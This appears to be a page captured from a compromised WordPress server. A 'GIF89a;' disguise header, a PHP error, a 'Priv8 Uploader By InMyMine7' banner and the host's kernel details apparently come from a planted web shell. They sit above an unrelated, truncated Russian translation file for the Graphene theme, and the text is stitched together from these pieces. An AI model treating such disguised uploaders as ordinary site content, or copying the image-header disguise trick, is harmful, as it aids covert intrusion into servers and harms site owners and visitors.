GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3
Priv8 Uploader By InMyMine7
Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
msgid "" msgstr "" "Project-Id-Version: Graphene 1.6 theme for WordPress\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2012-01-21 21:34+1200\n" "PO-Revision-Date: 2012-02-19 22:58+0800\n" "Last-Translator: Syahir Hakim <syahir@khairul-syahir.com>\n" "Language-Team: Leiste <blog@leiste.de>\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Poedit-KeywordsList: __;_e;_n;esc_attr_e;esc_attr__\n" "X-Poedit-Basepath: D:\\[MyVault]\\MyProjects\\[Websites]\\wordpress-theme-test\\site\\wp-content\\themes\\graphene\\\n" "Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11) ? 0 : ((n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20)) ? 1 : 2);\n" "X-Poedit-KeywordsList: __;_e;_c;_x;_nc;_n_noop:1,2;__ngettext:1,2;__ngettext_noop:1,2;esc_attr_e;_n;esc_attr_e;esc_attr__\n" "X-Poedit-SourceCharset: utf-8\n" "X-Poedit-Language: Russian\n" "X-Poedit-Country: Russia\n" "X-Poedit-SearchPath-0: .\n" #: 404.php:25 #, php-format msgid "Searching for: <span>%s</span>" msgstr "Поиск: <span>%s</span>" #: 404.php:31 msgid "Error 404 - Page Not Found" msgstr "Ошибка 404 - Страница не найдена" #: 404.php:33 msgid "Sorry, I've looked everywhere but I can't find the page you're looking for." msgstr "Я искал везде, но к сожалению не могу найти запрашиваемую вами страницу." #: 404.php:34 msgid "If you follow the link from another website, I may have removed or renamed the page some time ago. You may want to try searching for the page:" msgstr "Если Вы пришли по ссылке от другого сайта, возможно, страница была удалена или перемещена недавно. Советуем пользоваться поиском:" #: 404.php:42 msgid "Automated search" msgstr "Автоматический поиск" #: 404.php:45 #, php-format msgid "Searching for the terms <strong>%s</strong> ..." msgstr "Поиск терминов <strong>%s</strong> ..." #: archive.php:24 #, php-format msgid "Daily Archive: %s" msgstr "Ежедневный архив: %s" #: archive.php:26 #, php-format msgid "Monthly Archive: %s" msgstr "Ежемесячный архив: %s" #. translators: F will be replaced with month, and Y will be replaced with year, so "F Y" in English would be replaced with something like "June 2008". #: archive.php:28 msgid "F Y" msgstr "F Y" #: archive.php:30 #, php-format msgid "Yearly Archive: %s" msgstr "Годовой архив: %s" #: archive.php:40 #, php-format msgid "%1$s Archive: <span>%2$s</span>" msgstr "Архив сайта %1$s по этикетке: <span>%2$s</span>" #: archive.php:43 msgid "Blog Archive" msgstr "Архив блога" #: author.php:32 msgid "Author's posts listings" msgstr "Список сообщений автора" #: category.php:13 #, php-format msgid "Category Archive: <span>%s</span>" msgstr "Архив по категории: <span>%s</span>" #: comments.php:25 msgid "This post is password protected. Enter the password to view any comments." msgstr "Данное сообщение защищено паролем. Введите пароль, чтобы увидеть комментарии." #: comments.php:49 #: loop-author.php:85 #: loop.php:166 #, php-format msgid "1 comment" msgid_plural "%d comments" msgstr[0] "1 комментарий" msgstr[1] "%d комментария" msgstr[2] "%d комментариев" #: comments.php:51 #, php-format msgid "1 ping" msgid_plural "%d pings" msgstr[0] "1 пинг" msgstr[1] "%d пинга" msgstr[2] "%d пингов" #: comments.php:109 msgid "Comments have been disabled." msgstr "Комментарии были заблокированны" #: comments.php:126 #, php-format msgid "You may use these <abbr title=\"HyperText Markup Language\">HTML</abbr> tags and attributes: %s" msgstr "Вы можете использовать эти теги <abbr title=\"HyperText Markup Language\">HTML</abbr>: %s" #: comments.php:131 msgid "Your email address will not be published." msgstr "Ваш адрес электронной почты не будет опубликован." #: comments.php:134 msgid "Submit Comment" msgstr "Добавить комментарий" #: footer.php:41 msgid "Copyright" msgstr "Авторские права" #. translators: %s will replaced by a link to the Creative Commons licence page, with "Creative Commons Licence" as the link text. #: footer.php:56 #, php-format msgid "Except where otherwise noted, content on this site is licensed under a %s." msgstr "Если иное не указано, содержимое данного сайта регулируется следующей лицензией: %s." #: footer.php:56 msgid "Creative Commons Licence" msgstr "Лицензия Creative Commons" #: footer.php:58 msgid "Creative Commons Licence BY-NC-ND" msgstr "Лицензия Creative Commons BY-NC-ND" #: footer.php:79 msgid "Return to top" msgstr "Вернуться к началу" #. translators: %1$s is the link to WordPress.org, %2$s is the theme's name #: footer.php:89 #, php-format msgid "Powered by %1$s and the %2$s." msgstr "При поддержке %1$s и %2$s." #: footer.php:89 msgid "Graphene Theme" msgstr "Тема \"Graphene\"" #: header.php:36 #, php-format msgid "Subscribe to %s's RSS feed" msgstr "Подписаться на RSS канал от %s" #: header.php:36 msgid "Subscribe to RSS feed" msgstr "Подписаться на RSS канал" #: header.php:82 #: header.php:102 msgid "Go back to the front page" msgstr "Вернуться на главную страницу" #: loop-author.php:23 msgid "Author's details" msgstr "Об авторе" #. translators: %1$s is the first name, %2$s is the last name #: loop-author.php:25 #, php-format msgid "<strong>Name:</strong> %1$s %2$s" msgstr "<strong>Имя:</strong> %1$s %2$s" #: loop-author.php:26 #, php-format msgid "<strong>Date registered:</strong> %1$s" msgstr "<strong>Дата регистрации:</strong> %1$s" #: loop-author.php:35 msgid "Biography" msgstr "Биография" #: loop-author.php:52 msgid "Latest posts" msgstr "Последние сообщения" #: loop-author.php:55 #: loop-author.php:85 #, php-format msgid "Permalink Link to %s" msgstr "Постоянная ссылка на %s" #: loop-author.php:55 #: loop-author.php:85 #: loop-children.php:45 #: loop-page.php:8 #: loop-page.php:35 #: loop-post-formats.php:36 #: loop-single.php:67 #: loop.php:31 #: loop.php:66 msgid "(No title)" msgstr "(Нет названия)" #: loop-author.php:92 msgid "Most commented posts" msgstr "Наиболее комментируемые сообщения" #: loop-children.php:45 #: loop-children.php:53 #: loop-post-formats.php:36 #: loop.php:65 #: loop.php:134 #, php-format msgid "Permalink to %s" msgstr "Постоянная ссылка на %s" #: loop-children.php:53 msgid "View page »" msgstr "Смотреть страницу »" #: loop-not-found.php:3 msgid "Not found" msgstr "Не найдено" #: loop-not-found.php:8 msgid "Sorry, but you are looking for something that isn't here. Wanna try a search?" msgstr "Извините, но тут пусто. Попробуем поискать?" #: loop-not-found.php:10 msgid "Sorry, but no results were found for that keyword. Wanna try an alternative keyword search?" msgstr "Извините, но ничего не найдено по этому ключевому слову. Хотите попробовать поиск по другим ключевым словам?" #: loop-page.php:23 #: loop-page.php:24 #, php-format msgid "Print this %s" msgstr "Распечатать %s" #: loop-page.php:45 #: loop-single.php:83 #: loop.php:85 #, php-format msgid "Edit %s" msgstr "Редактировать %s" #: loop-page.php:66 #: loop-single.php:122 #: loop.php:148 msgid "Pages:" msgstr "Страницы:" #: loop-page.php:90 #: loop-post-formats.php:89 #: loop-single.php:172 #: loop.php:179 msgid "Permanent link to this article:" msgstr "Постоянная ссылка на это сообщение:" #: loop-post-formats.php:15 msgid "Status update" msgstr "Обновление статуса" #: loop-post-formats.php:16 msgid "Audio" msgstr "Звук" #: loop-post-formats.php:17 msgid "Image" msgstr "Изображение" #: loop-post-formats.php:18 msgid "Video" msgstr "Видео" #: loop-post-formats.php:19 msgid "Post format" msgstr "Форматирование сообщения" #. translators: This is the PHP date formatting string for the status post format. See http://php.net/manual/en/function.date.php for more details. #: loop-post-formats.php:32 msgid "l F j, Y" msgstr "l j F Y" #: loop-post-formats.php:32 msgid "g:i A" msgstr "H:i" #: loop-post-formats.php:42 msgid "Edit post" msgstr "Редактировать сообщение" #. translators: This is the PHP date formatting string for the image post format. See http://php.net/manual/en/function.date.php for more details. #: loop-post-formats.php:77 #, php-format msgid "Posted on: %s" msgstr "Дата публикации: %s" #: loop-post-formats.php:77 msgid "F j, Y" msgstr "j F Y" #: loop-single.php:76 #: loop.php:78 msgid "Categories:" msgstr "Категории:" #: loop-single.php:98 #: loop.php:102 #, php-format msgid "by %s" msgstr "автор: %s" #: loop-single.php:132 #: loop.php:158 msgid "Tags:" msgstr "Этикетки:" #: loop-single.php:132 #: loop.php:158 msgid "This post has no tag" msgstr "У данного сообщения нет этикеток" #: loop-single.php:153 msgid "About the author" msgstr "Об авторе" #: loop.php:127 msgid "Read the rest of this entry »" msgstr "Подробнее »" #: loop.php:166 msgid "Leave comment" msgstr "Оставить комментарий" #: loop.php:166 msgid "Comments off" msgstr "Комментирование закрыто" #: search-404.php:14 msgid "Suggested results" msgstr "Предложенные результаты" #. translators: %s is the search term #: search-404.php:18 #, php-format msgid "I've done a courtesy search for the term %s for you. See if you can find what you're looking for in the list below:" msgstr "Для Вашего удобства уже выполнили поиск по термину %s. Возможно, вы найдете то, что ищете в списке ниже:" #: search-404.php:35 msgid "<strong>Sorry, couldn't find anything.</strong> Try searching for alternative terms using the search form above." msgstr "<strong>Извините, ничего не найдено.</strong> Попробуйте поиск по другим ключевым словам, используя форму поиска, наверху." #: search.php:10 #, php-format msgid "Search results for: %s" msgstr "Результаты поиска для: %s" #: searchform.php:3 #: searchform.php:4 msgid "Search" msgstr "Поиск" #: sidebar-two.php:35 #: sidebar.php:41 msgid "Meta" msgstr "Мета" #: sidebar-two.php:40 #: sidebar.php:46 msgid "Posts RSS" msgstr "RSS-канал сообщений" #: sidebar-two.php:41 #: sidebar.php:47 msgid "Comments RSS" msgstr "RSS-канал комментариев" #. translators: %s is the link to wordpress.org #: sidebar-two.php:43 #: sidebar.php:49 #, php-format msgid "Powered by %s" msgstr "При поддержке %s" #: sidebar-two.php:43 #: sidebar.php:49 msgid "Powered by WordPress, state-of-the-art semantic personal publishing platform." msgstr "Сделано с помощью WordPress, передовая индивидуальная семантическая издательская платформа." #: sidebar-two.php:48 #: sidebar.php:34 msgid "Archives" msgstr "Архивы" #: tag.php:13 #, php-format msgid "Tag Archive: <span>%s</span>" msgstr "Архив по этикетке: <span>%s</span>" #: admin/custom-fields.php:14 msgid "Graphene post-specific options" msgstr "Отдельные настройки сообщений Graphene" #: admin/custom-fields.php:15 msgid "Graphene page-specific options" msgstr "Отдельные настройки страницы Graphene" #: admin/custom-fields.php:97 msgid "These settings will only be applied to this particular post or page you're editing. They will override the global settings set in the Graphene Options or Graphene Display options page." msgstr "Эти настройки будут применяться только к данному редактируемому сообщению или странице. Они отменят глобальные параметры в настройках Graphene или настройках отображения страницы Graphene." #: admin/custom-fields.php:98 msgid "Slider options" msgstr "Настройки Слайдера" #: admin/custom-fields.php:102 msgid "Slider image" msgstr "Изображение слайдера" #: admin/custom-fields.php:106 #: admin/custom-fields.php:132 #: admin/custom-fields.php:146 msgid "Use global setting" msgstr "Использовать глобальные параметры" #: admin/custom-fields.php:107 msgid "Don't show image" msgstr "Не показывать изображение" #: admin/custom-fields.php:108 msgid "Featured Image" msgstr "Помеченное изображение" #: admin/custom-fields.php:109 msgid "First image in post" msgstr "Первое изображение в сообщении" #: admin/custom-fields.php:110 msgid "Custom URL" msgstr "Специальный URL" #: admin/custom-fields.php:116 msgid "Custom slider image URL" msgstr "Специальный URL изображения слайдера" #: admin/custom-fields.php:120 msgid "Make sure you select Custom URL in the slider image option above to use this custom url." msgstr "Убедитесь,что вы выбрали специальный URL в опциях слайдер-изображения, чтобы использовать данный URL." #: admin/custom-fields.php:124 msgid "Display options" msgstr "Параметры отображения" #: admin/custom-fields.php:128 msgid "AddThis Social Sharing button" msgstr "Кнопка социального обмена AddThis" #: admin/custom-fields.php:133 msgid "Show button" msgstr "Показать кнопку" #: admin/custom-fields.php:134 msgid "Hide button" msgstr "Скрыть кнопку" #: admin/custom-fields.php:142 msgid "Post date display" msgstr "Отображать дату сообщения" #: admin/custom-fields.php:147 msgid "Hide date" msgstr "Не показывать дату" #: admin/custom-fields.php:155 msgid "Navigation options" msgstr "Настройки навигации" #: admin/custom-fields.php:159 msgid "Description" msgstr "Описание" #: admin/custom-fields.php:163 msgid "Only required if you need a description in the navigation menu and you are not using a custom menu." msgstr "Требуется только в том случае, если вам необходимо описание в меню навигации и вы не используете специальное меню" #: admin/faq.php:11 msgid "Graphene's Frequently Asked Questions" msgstr "Часто задаваемые Вопросы по Graphene" #: admin/faq.php:14 msgid "Where should I go for the theme's support?" msgstr "Куда я могу обратиться по вопросам поддержки?" #: admin/faq.php:15 msgid "Please direct all support requests for the theme at the theme's <a href=\"http://forum.khairul-syahir.com/graphene-wordpress-theme/\">Support Forum</a>." msgstr "Пожалуйста, направляйте все запросы по вопросам поддержки в раздел<a href=\"http://forum.khairul-syahir.com/forum/graphene-wordpress-theme\">Форум поддержки</a> данной темы." #: admin/faq.php:18 msgid "The post's featured image is replacing my header image. Help!" msgstr "Помогите! Изображение, которое относится к сообщению, замещает мое главное изображение." #: admin/faq.php:19 msgid "This is actually one of the theme's features, based on the feature in the default TwentyTen theme. Any featured image that has a size of greater than or equal to the theme's header image size (960 x 198 pixels) will replace the header image when the post/page that featured image is assigned to is being displayed. It enables you to have different header image for different posts and/or pages." msgstr "На самом деле, это одно из свойств темы, основанное на функции в стандартной теме TwentyTen. Любое изображение, относящееся к сообщению/странице, размер которого превышает либо равен размеру главного изображения темы (900 x 198 пикселей), будет замещать главное изоюражение в том случае, когда отображается сообщение/страница на которой это изображение является заданным по умолчанию. Это дает возможность иметь разные изображения для разных сообщений и/или страниц." #: admin/faq.php:20 msgid "If you want to disable this feature, simply tick the <em>Disable Featured Image replacing header image</em> option in the <a href=\"themes.php?page=graphene_options&tab=display\">Graphene Options</a> page, under Display > Header Display Options." msgstr "Если вы хотите отключить это свойство, просто поставьте галочку в <em>Отключить замещение главного изображения помеченным изображением</em> на странице <a href=\"themes.php?page=graphene_options&tab=display\">Настройках Graphene</a>, под \"Отображение\" > \"Параметры отображения заголовков\"." #: admin/faq.php:23 msgid "Can I modify Graphene to my heart's content without paying anything?" msgstr " Могу ли я бесплатно видоизменять Graphene как хочу?" #: admin/faq.php:24 msgid "The Graphene WordPress theme, along with all the other themes in the WordPress.org Official Free Themes Directory, is released under the GNU General Public License (GPL) Version 2. The full text of that licence is included with the theme in the <code>licence.txt</code> file in the theme's folder. Releasing the theme under that licence means, among others, that you are <em>free to modify the theme in any way for any purpose (including commercial)</em> without any obligation to the theme's author. However, if you decide to redistribute the theme, the licence dictates that you must release the theme under the same licence, GPLv2." msgstr "Тема Graphene WordPress, наряду со всеми другими темами в официальном каталоге бесплатных тем WordPress.org, публикуется на правах общедоступной лицензии GNU, версия 2. Полный текст данной лицензии вместе с темами есть в папке тем, файл <code>licence.txt</code>. Согласно данной лицензии <em>вы имеете право видоизменять тему как хотите и в любых целях (включая коммерческие)<em>без каких-дибо обязательств перед автором. Тем не менее, если вы решите повторно разместить тему, согласно общедоступной лицензии, вы должны опубликовать ее на правах той же самой лицензии, общедоступная лиценция, версия 2 (GPLv2)." #: admin/faq.php:25 msgid "But of course, the author would always appreciate <a href=\"themes.php?page=graphene_options\">donations</a> to support ongoing and future developments of the theme." msgstr "Но, безусловно, разработчик всегда будет рад <a href=\"themes.php?page=graphene_options\">пожертвования</a> в поддержку текущего и будущего развития темы." #: admin/faq.php:28 msgid "If the theme is released under GPLv2, what is this Creative Commons licence in the theme's footer?" msgstr "Если тема публикуется на правах общедоступной лицензии, версия 2, что это за лицензия Creative Commons в нижнем колонтитуле темы" #: admin/faq.php:29 msgid "The Creative Commons licence is a popular licence nowadays that are used by a lot of web-based content authors to licence their work such that it protects their intellectual property but in the same time allows its free distribution. It is included with the theme simply to make it easy for the theme's users to make use of the licence for the content they publish. Theme users can remove it altogether via the theme's Options page should they wish not to use it." msgstr "На сегодняшний день лицензия Creative Commons является очень популярной и используется многими авторами продуктов, основанных на Интернет-технологиях, для защиты интеллектуальной собственности и одновременного разрешения свободного повторного размещения. Она включена вместе с темой просто для того, чтобы облегчить использование лицензии на публикуемое содержимое пользователями темы. Пользователи темы могут полностью удалить ее через Настройки страницы темы, если не хотят ее использовать." #: admin/faq.php:30 msgid "Put simply, <em>it is not the licence that is applied for the theme itself</em>, but just for the website's content should the theme user wants to use it." msgstr "Другими словами, <em>эта лицензия не применяется непосредственно к теме</em>, а только к содержимому сайта, при соответствующем желании пользователя темы." #: admin/faq.php:33 msgid "Is the theme compatible with this plugin or that plugin?" msgstr "Совместима ли тема с тем или иным плагином?" #: admin/faq.php:34 msgid "I don't know. With so many plugins available for WordPress, there's no way that I (or anybody else for that matter) can test for compatibility for all of them. Having said that, the theme is built with all the necessary WordPress components included with it, so chances are most plugins will be compatible with the theme." msgstr "Я не знаю. Существует множество доступных плагинов для WordPress, поэтому ни я (и, кстати, ни кто-либо другой) не в сможет протестировать все на совместимость. Но, следует добавить, что тема построена со всеми необходимыми компонентами WordPress. Поэтому большинство плагинов должны быть с ней совместимы." #: admin/faq.php:35 msgid "My suggestion is to just install the plugin and try it. If you stumble into problem, ask for support from the plugin author first. If the plugin author says that it's a problems with the theme, you know where to find support." msgstr "Мой совет, установите плагин и попробуйте его на деле. Если у вас возникают проблемы, сначала попросите помощь у автора плагина. А если он/она ответит, что проблема находится в этой теме, тогда знаете, где искать помощь по теме." #: admin/feature-pointers.php:8 msgid "Where are all the options?!" msgstr "Где все настройки?" #: admin/feature-pointers.php:9 msgid "We've decided to clean things up!" msgstr "Мы решили тут убраться немного!" #: admin/feature-pointers.php:10 msgid "We know how too many options can really be daunting to new users, so we've hidden them." msgstr "Знаем, что слишком много настроек может вызвать головокружение у нового пользователя. Мы их спрятали." #: admin/feature-pointers.php:11 msgid "But no worries! If you're a seasoned user of the Graphene theme, or whenever you feel ready to further customise your site, just click on the \"Show all options\" link, and they will magically appear to you." msgstr "Не волнуйтесь! Если Вы - опытный пользователь темы Graphene, или когда почувствуете себя готовыми к более сложным настройкам своего сайта, просто нажмите на ссылку \"Отображать все настройки\". Тогда они, магически, все появвятся." #: admin/options-advanced.php:12 #: admin/options.php:350 msgid "Preview" msgstr "Предосмотр" #: admin/options-advanced.php:19 msgid "Enable preview of your site on the Graphene Theme Options page" msgstr "Активировать предосмотр Вашего сайта на странице настроек темы Graphene" #: admin/options-advanced.php:31 msgid "Action Hooks Widget Areas" msgstr "Панели виджетов для точек действий" #: admin/options-advanced.php:34 msgid "This option enables you to place virtually any content to every nook and cranny in the theme, by attaching widget areas to the theme's action hooks." msgstr "Эта опция позволяет разместить практически любое содержание в произвольном уголке всей темы, динамически прикрепив панель виджетов к точкам действий \"action hooks\" темы." #: admin/options-advanced.php:35 msgid "All action hooks available in the Graphene Theme are listed below. Click on the filename to display all the action hooks available in that file. Then, tick the checkbox next to an action hook to make a widget area available for that action hook." msgstr "Все точки действий \"action hooks\" темы Graphene перечислены внизу. Нажатие на назание файла откроет список всей точек данного файла. Затем пометьте флажок рядом с точкой действия, чтобы создать панель виджетов в этом месте." #: admin/options-advanced.php:44 msgid "Click to show/hide the action hooks for this file" msgstr "Нажмите, чтобы показать/спрятать список точек действий этого файла." #: admin/options-advanced.php:56 msgid "Rescan action hooks" msgstr "Переиндексировать все action hooks" #: admin/options-display.php:13 msgid "Header Display Options" msgstr "Параметры отображения заголовков" #: admin/options-display.php:19 msgid "Use light-coloured header bars" msgstr "Использовать светлые тона для заголовков" #: admin/options-display.php:25 msgid "Link header image to front page" msgstr "Добавлять ссылку на главную страницу от заглавной картинки" #: admin/options-display.php:28 msgid "Check this if you disable the header texts and want the header image to be linked to the front page." msgstr "Пометьте эту опцию, если Вы отключили текст заголовка и хотите, добавить ссылку на главную страницу от заглавной картинки." #: admin/options-display.php:33 msgid "Disable Featured Image replacing header image" msgstr "Отключить функцию замены загаловки помченным изображением." #: admin/options-display.php:36 msgid "Check this to prevent the posts Featured Image replacing the header image regardless of the featured image dimension." msgstr "Пометьте, чтобы избежать замещения изображения заголовка помечнным изображением, независимо от его размеров." #: admin/options-display.php:41 msgid "Use random header image" msgstr "Использовать случайное изображение заголовка" #: admin/options-display.php:45 msgid "Check this to show a random header image (random image taken from the available default header images)." msgstr "Пометьте, чтобы показывать случайное изображение заголовка (случайное изображение из доступных изображений заголовка по умолчанию)." #: admin/options-display.php:46 msgid "<strong>Note:</strong> only works on pages where a specific header image is not defined." msgstr "<strong>Внимание:</strong> работает только на страницах, где не выбрано помеченное изображение заголовка." #: admin/options-display.php:52 msgid "Search box location" msgstr "Расположение окна поиска" #: admin/options-display.php:56 msgid "Top bar" msgstr "Верхняя панель" #: admin/options-display.php:57 msgid "Navigation bar" msgstr "Панель навигации" #: admin/options-display.php:58 msgid "Disable search box" msgstr "Отключить окно поиска" #: admin/options-display.php:71 msgid "Column Options" msgstr "Параметры столбцов" #: admin/options-display.php:77 msgid "Column mode" msgstr "Режим столбцов" #: admin/options-display.php:86 #: admin/options-display.php:131 msgid "One column" msgstr "Один столбец" #: admin/options-display.php:93 #: admin/options-display.php:138 msgid "Two columns (with sidebar right)" msgstr "Два столбца (боковая панель справа)" #: admin/options-display.php:97 #: admin/options-display.php:142 msgid "Two columns (with sidebar left)" msgstr "Два столбца (боковая панель слева)" #: admin/options-display.php:104 #: admin/options-display.php:149 msgid "Three columns (with two sidebars right)" msgstr "Три столбца (две боковых панели справа)" #: admin/options-display.php:108 #: admin/options-display.php:153 msgid "Three columns (with two sidebars left)" msgstr "Три столбца (две боковых панели слева)" #: admin/options-display.php:112 #: admin/options-display.php:157 msgid "Three columns (with sidebars left and right)" msgstr "Три столбца (боковые панели слева и справа)" #: admin/options-display.php:122 msgid "bbPress column mode" msgstr "Режим столбцов для bbPress" #: admin/options-display.php:173 msgid "Column Width Options" msgstr "Параметры ширины столбцов" #: admin/options-display.php:176 msgid "Note: Leave values empty to reset to the default values." msgstr "Оставьте поле пустым,чтобы использовать свойство по умолчанию." #: admin/options-display.php:180 msgid "Container width" msgstr "Ширина контейнера" #: admin/options-display.php:197 #: admin/options-display.php:220 msgid "Column width" msgstr "Ширина столбцов" #: admin/options-display.php:197 msgid "two-column mode" msgstr "Два столбца" #: admin/options-display.php:201 #: admin/options-display.php:228 msgid "Content" msgstr "Область содержания" #: admin/options-display.php:205 msgid "Sidebar" msgstr "Боковая панель" #: admin/options-display.php:220 msgid "three-column mode" msgstr "Режим трех столбцов" #: admin/options-display.php:224 msgid "Left sidebar" msgstr "Левая боковая панель" #: admin/options-display.php:232 msgid "Right sidebar" msgstr "Правая боковая панель" #: admin/options-display.php:253 msgid "Posts Display Options" msgstr "Параметры отображения сообщений" #: admin/options-display.php:259 msgid "Hide post author" msgstr "Не показывать автора сообщения" #: admin/options-display.php:269 msgid "Hidden" msgstr "Скрытый" #: admin/options-display.php:270 msgid "As an icon (without the year)" msgstr "Как иконка (без указания года)" #: admin/options-display.php:271 msgid "As an icon (including the year)" msgstr "Как иконка (дату и год)" #: admin/options-display.php:272 msgid "As inline text" msgstr "Как встроенный текст" #: admin/options-display.php:274 msgid "Note: displaying date as inline text allows more space for the content area, especially useful for a three-column layout configuration." msgstr "Внимание: Отображение даты в виде встроенного текста оставляет больше места для содержимого, что особенно полезно для конфигурации в три столбца." #: admin/options-display.php:279 msgid "Hide post categories" msgstr "Скрыть категории сообщения" #: admin/options-display.php:285 msgid "Hide post tags" msgstr "Скрыть теги/этикетки сообщения" #: admin/options-display.php:291 msgid "Hide post comment count" msgstr "Скрыть количество комментариев к сообщению" #: admin/options-display.php:292 msgid "Only affects posts listing (such as the front page) and not single post view." msgstr "Влияет только на список сообщений (например, на главной странице), а не на просмотр единичного сообщения." #: admin/options-display.php:297 msgid "Show post author's <a href=\"http://en.gravatar.com/\">gravatar</a>" msgstr "Показывать <a href=\"http://ru.gravatar.com/\">gravatar</a> автора каждой статьи" #: admin/options-display.php:301 msgid "Show post author's info" msgstr "Показывать информацию об авторе сообщения" #: admin/options-display.php:313 msgid "Excerpts Display Options" msgstr "Параметры отображения выдержки сообщения" #: admin/options-display.php:319 msgid "Show excerpts in front page" msgstr "Показывать выдержки на главной странице" #: admin/options-display.php:325 msgid "Show full content in archive pages" msgstr "Показывать все содержимое на архивных страницах" #: admin/options-display.php:329 msgid "Note: Archive pages include the archive for category, tags, time, and search results pages. Enabling this option will cause the full content of posts and pages listed in those archives to displayed instead of the excerpt, and truncated by the Read More tag if used." msgstr "Внимание: Архивные страницы включают архивы для категорий, тегов/этикеток, времени и результатов страниц поиска. Активация этой опции приведет к тому, что вместо вырезок будет отображаться все содержимое перечисленных страниц и сообщений архива. Если используется тег \"Далее\"(<!--more-->), содержимое будет усеченным." #: admin/options-display.php:333 msgid "Show More link for manual excerpts" msgstr "Отображать ссылку \"Далее\" для ручной выдержки" #: admin/options-display.php:337 msgid "Retain these HTML tags in excerpts" msgstr "Сохранить HTML теги для этих выдержек" #: admin/options-display.php:340 msgid "Enter the HTML tags you'd like to retain in excerpts. For example, enter <code><p><ul><li></code> to retain <code><p></code>, <code><ul></code>, and <code><li></code> HTML tags." msgstr "Введите HTML теги, которые вы бы хотели бы сохранить в выдержках. Например, введите <code><p><ul><li></code> сохранить <code><p></code>, <code><ul></code> и <code><li></code> HTML теги." #: admin/options-display.php:353 msgid "Comments Display Options" msgstr "Параметры отображения комментариев" #: admin/options-display.php:359 msgid "Hide allowed tags in comment form" msgstr "Не показывать допустимые теги в комментариях" #: admin/options-display.php:372 msgid "Colours Options" msgstr "Настройка цвета" #: admin/options-display.php:375 msgid "Changing colours for your website involves a lot more than just trial and error. Simply mixing and matching colours without regard to their compatibility may do more damage than good to your site's aesthetics." msgstr "Изменение цвета вашего сайта это гораздо больше, чем просто \"Метод проб и ошибок\". Если Вы будете просто смешивать цвета без учета их совместимости, вы можете исказить эстетический вид вашего сайта." #: admin/options-display.php:376 #, php-format msgid "It's generally a good idea to stick to colours from colour pallettes that are aesthetically pleasing. Try the %s website for a kickstart on some colour palettes you can use." msgstr "Обычно стоит придерживаться цветам из эстетически подобранных палитр. Для вдохновения, можете посетить сайт %s, где можете найти согласованные палитры." #: admin/options-display.php:377 msgid "When you've got the perfect combination, you can even share it with fellow Graphene theme users through the <a href=\"http://forum.khairul-syahir.com/\">Support Forum</a>." msgstr "Когда вы найдете удачную комбинацию, то можете даже поделиться ею другим пользователям темы Graphene na <a href=\"http://forum.khairul-syahir.com/forum/graphene-wordpress-theme\">Форуме поддержки</a> темы." #: admin/options-display.php:378 msgid "<strong>Note:</strong> The previews work best on modern Gecko- and Webkit-based browsers, such as Mozilla Firefox and Google Chrome." msgstr "<strong>Внимание:</strong>Предосмотр лучше всего работает в бьраузерах на основе Gecko и Webkit, например Mozilla Firefox и Google Chrome." #: admin/options-display.php:379 msgid "<strong>Note:</strong> To reset any of the colours to their default value, just click on \"Clear\" beside the colour field and save the settings. The theme will automatically revert the value to the default colour." msgstr "<strong>Внимание:</strong> Вы можете вернуть настройку любого цвета к исходному состоянию, нажав на \"Очистить\" рядом с полем настройки цвета и сохранив настройки. Тогда тема возвращает стандартный цвет." #: admin/options-display.php:380 msgid "Content area" msgstr "Область содержания" #: admin/options-display.php:384 msgid "Main content wrapper background" msgstr "Фон основного содержания" #: admin/options-display.php:385 msgid "Post and pages content background" msgstr "Фон содержания страниц и сообщений" #: admin/options-display.php:386 msgid "Post meta and footer border" msgstr "Мета и нижняя граница сообщения" #: admin/options-display.php:387 msgid "Post and pages top border" msgstr "Верхняя граница сообщений и страниц" #: admin/options-display.php:388 msgid "Post and pages bottom border" msgstr "Нижняя граница сообщений и страниц" #: admin/options-display.php:398 #: admin/options-display.php:428 #: admin/options-display.php:454 #: admin/options-display.php:481 #: admin/options-display.php:510 #: admin/options-display.php:646 #: admin/options-display.php:667 msgid "Clear" msgstr "Очистить" #: admin/options-display.php:405 msgid "Widgets" msgstr "Виджеты" #: admin/options-display.php:408 msgid "Widget preview" msgstr "Предосмотр виджета" #: admin/options-display.php:409 msgid "Widget title" msgstr "Загаловок виджета" #: admin/options-display.php:409 msgid "List item" msgstr "Элемент списка" #: admin/options-display.php:413 msgid "Widget item background" msgstr "Фон деталей виджета" #: admin/options-display.php:414 msgid "Widget item list border" msgstr "Граница списка деталей виджета" #: admin/options-display.php:415 msgid "Widget header border" msgstr "Граница заголовка виджета" #: admin/options-display.php:416 msgid "Widget title colour" msgstr "Цвет рубрики виджета" #: admin/options-display.php:417 msgid "Widget title text shadow colour" msgstr "Цвет тени рубрики виджета" #: admin/options-display.php:418 msgid "Widget header gradient bottom colour" msgstr "Нижний цвет градиента заголовка виджета" #: admin/options-display.php:419 msgid "Widget header gradient top colour" msgstr "Верхний цвет градиента заголовка виджета" #: admin/options-display.php:436 msgid "Slider" msgstr "Слайдер" #: admin/options-display.php:439 msgid "Slider background preview" msgstr "Предосмотр фона слайдера" #: admin/options-display.php:444 msgid "Slider top left colour" msgstr "Цвет слайдера в верхнем левом углу" #: admin/options-display.php:445 msgid "Slider bottom right colour" msgstr "Цвет слайдера в нижнем правом углу" #: admin/options-display.php:462 msgid "Block buttons" msgstr "Кнопки с текстом" #: admin/options-display.php:465 msgid "Block button preview" msgstr "Предосмотра текстовой кнопки" #: admin/options-display.php:466 msgid "Button label" msgstr "Текст командной кнопки" #: admin/options-display.php:470 msgid "Button background colour" msgstr "Фоновый цвет кнопки" #: admin/options-display.php:471 msgid "Button label colour" msgstr "Цвет текста командной кнопки" #: admin/options-display.php:472 msgid "Button label text shadow" msgstr "Цвет тени текста командной кнопки" #: admin/options-display.php:489 msgid "Archive title" msgstr "Рубрика архивы" #: admin/options-display.php:492 msgid "Archive title preview" msgstr "Предосмотр рубрики архива" #: admin/options-display.php:493 msgid "Archive title:" msgstr "Рубрика архива:" #: admin/options-display.php:493 msgid "Sample title" msgstr "Пример рубрики" #: admin/options-display.php:497 msgid "Archive background gradient left colour" msgstr "Левый цвет градиента фона архива" #: 